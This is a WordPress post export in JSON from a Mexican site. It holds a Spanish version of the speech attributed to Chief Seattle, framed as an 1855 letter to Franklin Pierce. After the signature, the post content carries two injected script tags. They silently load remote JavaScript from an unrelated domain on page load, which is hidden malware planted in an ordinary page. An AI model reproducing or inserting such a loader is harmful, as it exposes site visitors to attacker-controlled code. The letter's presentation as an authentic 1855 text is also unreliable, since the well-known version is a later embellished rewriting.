{"id":20,"date":"2014-10-15T16:43:20","date_gmt":"2014-10-15T21:43:20","guid":{"rendered":"http:\/\/lapulguia.mx\/wp\/?p=20"},"modified":"2025-10-21T07:52:11","modified_gmt":"2025-10-21T13:52:11","slug":"carta-de-jefe-seattle","status":"publish","type":"post","link":"https:\/\/lapulguia.mx\/wp\/?p=20","title":{"rendered":"CARTA DE JEFE SEATTLE"},"content":{"rendered":"<p><a href=\"http:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/JEFE-SEATTLE.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-21\" src=\"http:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/JEFE-SEATTLE-300x225.jpg\" alt=\"JEFE SEATTLE\" width=\"300\" height=\"225\" srcset=\"https:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/JEFE-SEATTLE-300x225.jpg 300w, https:\/\/lapulguia.mx\/wp\/wp-content\/uploads\/2014\/10\/JEFE-SEATTLE.jpg 960w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><em><strong>1855, Territorio\u00a0 de la \u00a0tribu Suwamish,\u00a0<\/strong><strong>ahora\u00a0 estado de Washington.<\/strong><\/em><\/p>\n<p><em>\u00a0<\/em><em><strong>Para el presidente de los Estados Unidos Franklin Pierce.<\/strong><\/em><\/p>\n<p><em><strong>\u00a0<\/strong><\/em><em><strong>Carta del Jefe Indio Seattle<\/strong><\/em><\/p>\n<p>\u201cEl Gran Jefe de Washington manda decir que desea comprar nuestras tierras. El Gran Jefe tambi\u00e9n nos env\u00eda palabras de amistad y buena voluntad. Apreciamos esta gentileza porque sabemos que poca falta le hace, en cambio, nuestra amistad. Vamos a considerar su oferta, pues sabemos que, de no hacerlo, el hombre blanco podr\u00e1 venir con sus armas de fuego y tomarse nuestras tierras. El Gran Jefe de Washington podr\u00e1 confiar en lo que dice el Jefe Seattle con la misma certeza con que nuestros hermanos blancos podr\u00e1n confiar en la vuelta de las estaciones. Mis palabras son inmutables como las estrellas.<\/p>\n<p>\u00bfC\u00f3mo pod\u00e9is comprar o vender el cielo, el calor de la tierra? Esta idea nos parece extra\u00f1a. No somos due\u00f1os de la frescura del aire ni del centelleo del agua. \u00bfC\u00f3mo podr\u00edais comprarlos a nosotros? Lo decimos oportunamente. Habeis de saber que cada part\u00edcula de esta tierra es sagrada para mi pueblo. Cada hoja resplandeciente, cada playa arenosa, cada neblina en el oscuro bosque, cada claro y cada insecto con su zumbido son sagrados en la memoria y la experiencia de mi pueblo. La savia que circula en los \u00e1rboles porta las memorias del hombre de piel roja.<\/p>\n<p>Los muertos del hombre blanco se olvidan de su tierra natal cuando se van a caminar por entre las estrellas. Nuestros muertos jam\u00e1s olvidan esta hermosa tierra porque ella es la madre del hombre de piel roja. Somos parte de la tierra y ella es parte de nosotros. Las fragantes flores son nuestras hermanas; el venado, el caballo, el \u00e1guila majestuosa son nuestros hermanos. Las praderas, el calor corporal del potrillo y el hombre, todos pertenecen a la misma familia. \u00abPor eso, cuando el Gran Jefe de Washington manda decir que desea comprar nuestras tierras, es mucho lo que pide. El Gran Jefe manda decir que nos reservar\u00e1 un lugar para que podamos vivir c\u00f3modamente entre nosotros. El ser\u00e1 nuestro padre y nosotros seremos sus hijos. Por eso consideraremos su oferta de comprar nuestras tierras. Mas, ello no ser\u00e1 f\u00e1cil porque estas tierras son sagradas para nosotros. El agua centelleante que corre por los r\u00edos y esteros no es meramente agua sino la sangre de nuestros antepasados. Si os vendemos estas tierras, tendr\u00e9is que recordar que ellas son sagradas y deber\u00e9is ense\u00f1ar a vuestros hijos que lo son y que cada reflejo fantasmal en las aguas claras de los lagos habla de acontecimientos y recuerdos de la vida de mi pueblo. El murmullo del agua es la voz del padre de mi padre.<\/p>\n<p>&nbsp;<\/p>\n<p>Los r\u00edos son nuestros hermanos, ellos calman nuestra sed. Los r\u00edos llevan nuestras canoas y alimentan a nuestros hijos. Si os vendemos nuestras tierras, deber\u00e9is recordar y ense\u00f1ar a vuestros hijos que los r\u00edos son nuestros hermanos y hermanos de vosotros; deber\u00e9is en adelante dar a los r\u00edos el trato bondadoso que dar\u00e9is a cualquier hermano.<\/p>\n<p>Sabemos que el hombre blanco no comprende nuestra manera de ser. Le da lo mismo un pedazo de tierra que el otro porque \u00e9l es un extra\u00f1o que llega en la noche a sacar de la tierra lo que necesita. La tierra no es su hermano sino su enemigo. Cuando la ha conquistado la abandona y sigue su camino. Deja detr\u00e1s de \u00e9l las sepulturas de sus padres sin que le importe. Despoja de la tierra a sus hijos sin que le importe. Olvida la sepultura de su padre y los derechos de sus hijos. Trata a su madre, la tierra, y a su hermano el cielo, como si fuesen cosas que se pueden comprar, saquear y vender, como si fuesen corderos y cuentas de vidrio. Su insaciable apetito devorar\u00e1 la tierra y dejar\u00e1 tras s\u00ed s\u00f3lo un desierto.<\/p>\n<p>No lo comprendo. Nuestra manera de ser es diferente a la vuestra. La vista de vuestras ciudades hace doler los ojos al hombre de piel roja. Pero quiz\u00e1 sea as\u00ed porque el hombre de piel roja es un salvaje y no comprende las cosas. No hay ning\u00fan lugar tranquilo en las ciudades del hombre blanco, ning\u00fan lugar donde pueda escucharse el desplegarse de las hojas en primavera o el orzar de las alas de un insecto. Pero quiz\u00e1 sea as\u00ed porque soy un salvaje y no puedo comprender las cosas. El ruido de la ciudad parece insultar los o\u00eddos. \u00bfY qu\u00e9 clase de vida es cuando el hombre no es capaz de escuchar el solitario grito de la garza o la discusi\u00f3n nocturna de las ranas alrededor de la laguna? Soy un hombre de piel roja y no lo comprendo. Los indios preferimos el suave sonido del viento que acaricia la cala del lago y el olor del mismo viento purificado por la lluvia del mediod\u00eda o perfumado por la fragancia de los pinos.<\/p>\n<p>El aire es algo precioso para el hombre de piel roja porque todas las cosas comparten el mismo aliento: el animal, el \u00e1rbol y el hombre. El hombre blanco parece no sentir el aire que respira. Al igual que un hombre muchos d\u00edas agonizante, se ha vuelto insensible al hedor. Mas, si os vendemos nuestras tierras, deb\u00e9is recordar que el aire es precioso para nosotros, que el aire comparte su esp\u00edritu con toda la vida que sustenta. Y, si os vendemos nuestras tierras, deb\u00e9is dejarlas aparte y mantenerlas sagradas como un lugar al cual podr\u00e1 llegar incluso el hombre blanco a saborear el viento dulcificado por las flores de la pradera.<\/p>\n<p>Consideraremos vuestra oferta de comprar nuestras tierras. Si decidimos aceptarla, pondr\u00e9 una condici\u00f3n: que el hombre blanco deber\u00e1 tratar a los animales de estas tierras como hermanos. Soy un salvaje y no comprendo otro modo de conducta. He visto miles de b\u00fafalos pudri\u00e9ndose sobre las praderas, abandonados all\u00ed por el hombre blanco que les dispar\u00f3 desde un tren en marcha. Soy un salvaje y no comprendo como el humeante caballo de vapor puede ser m\u00e1s importante que el b\u00fafalo al que s\u00f3lo matamos para poder vivir. \u00bfQu\u00e9 es el hombre sin los animales? Si todos los animales hubiesen desaparecido, el hombre morir\u00eda de una gran soledad de esp\u00edritu. Porque todo lo que ocurre a los animales pronto habr\u00e1 de ocurrir tambi\u00e9n al hombre. Todas las cosas est\u00e1n relacionadas entre s\u00ed.<\/p>\n<p>Vosotros deb\u00e9is ense\u00f1ar a vuestros hijos que el suelo bajo sus pies es la ceniza de sus abuelos. Para que respeten la tierra, deb\u00e9is decir a vuestros hijos que la tierra est\u00e1 plena de vida de nuestros antepasados. Deb\u00e9is ense\u00f1ar a vuestros hijos lo que nosotros hemos ense\u00f1ados a los nuestros: que la tierra es nuestra madre. Todo lo que afecta a la tierra afecta a los hijos de la tierra. Cuando los hombres escupen el suelo se escupen a s\u00ed mismos.<\/p>\n<p>Esto lo sabemos: la tierra no pertenece al hombre, sino que el hombre pertenece a la tierra. El hombre no ha tejido la red de la vida: es s\u00f3lo una hebra de ella. Todo lo que haga a la red se lo har\u00e1 a s\u00ed mismo. Lo que ocurre a la tierra ocurrir\u00e1 a los hijos de la tierra. Lo sabemos. Todas las cosas est\u00e1n relacionadas como la sangre que une a una familia.<\/p>\n<p>A\u00fan el hombre blanco, cuyo Dios se pasea con \u00e9l y conversa con el -de amigo a amigo no puede estar exento del destino com\u00fan-. Quiz\u00e1 seamos hermanos, despu\u00e9s de todo. Lo veremos. Sabemos algo que el hombre blanco descubrir\u00e1 alg\u00fan d\u00eda: que nuestro Dios es su mismo Dios. Ahora pens\u00e1is quiz\u00e1 que sois due\u00f1o de nuestras tierras; pero no pod\u00e9is serlo. El es el Dios de la humanidad y Su compasi\u00f3n es igual para el hombre blanco. Esta tierra es preciosa para El y el causarle da\u00f1o significa mostrar desprecio hacia su Creador. Los hombres blancos tambi\u00e9n pasar\u00e1n, tal vez antes que las dem\u00e1s tribus. Si contamin\u00e1is vuestra cama, morir\u00e9is alguna noche sofocados por vuestros propios desperdicios. Pero a\u00fan en vuestra hora final os sentir\u00e9is iluminados por la idea de que Dios os trajo a estas tierras y os dio el dominio sobre ellas y sobre el hombre de piel roja con alg\u00fan prop\u00f3sito especial. Tal destino es un misterio para nosotros porque no comprendemos lo que ser\u00e1 cuando los b\u00fafalos hayan sido exterminados, cuando los caballos salvajes hayan sido domados, cuando los rec\u00f3nditos rincones de los bosques exhalen el olor a muchos hombres y cuando la vista hacia las verdes colinas est\u00e9 cerrada por un enjambre de alambres parlantes. \u00bfD\u00f3nde est\u00e1 el espeso bosque? Desapareci\u00f3. \u00bfD\u00f3nde est\u00e1 el \u00e1guila? Desapareci\u00f3. As\u00ed termina la vida y comienza la supervivencia&#8230;.<\/p>\n<p><em><strong>Jefe Seattle<\/strong><\/em><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; 1855, Territorio\u00a0 de la \u00a0tribu Suwamish,\u00a0ahora\u00a0 estado de Washington. \u00a0Para el presidente de los Estados Unidos Franklin Pierce. \u00a0Carta del Jefe Indio Seattle \u201cEl Gran Jefe de Washington manda decir que desea comprar nuestras tierras. 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